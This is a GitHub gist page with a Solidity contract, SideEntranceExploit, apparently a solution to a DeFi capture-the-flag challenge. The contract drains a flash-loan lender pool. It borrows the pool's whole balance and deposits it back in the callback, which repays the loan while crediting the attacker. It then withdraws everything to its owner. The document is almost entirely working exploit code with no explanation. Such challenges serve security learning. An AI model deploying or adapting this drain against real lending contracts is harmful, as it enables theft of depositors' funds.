Skip to content

Instantly share code, notes, and snippets.

@0xAnon101
Last active September 1, 2022 05:25
Show Gist options
  • Save 0xAnon101/2e625326a85bd918663407cdbb9b174c to your computer and use it in GitHub Desktop.
Save 0xAnon101/2e625326a85bd918663407cdbb9b174c to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
interface ISideEntranceLenderPool {
function deposit() external payable;
function withdraw() external;
function flashLoan(uint256 amount) external;
}
contract SideEntranceExploit is IFlashLoanEtherReceiver {
ISideEntranceLenderPool immutable pool;
address owner;
constructor(address payable _pool) {
pool = ISideEntranceLenderPool(_pool);
owner = msg.sender;
}
function exploit() external payable {
require(msg.sender == owner, "Not the Owner");
pool.flashLoan(address(pool).balance);
pool.withdraw();
payable(owner).transfer(address(this).balance);
}
function execute() external payable override {
require(msg.sender == address(pool), "lender calling");
pool.deposit{value: msg.value}();
}
receive() external payable {}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment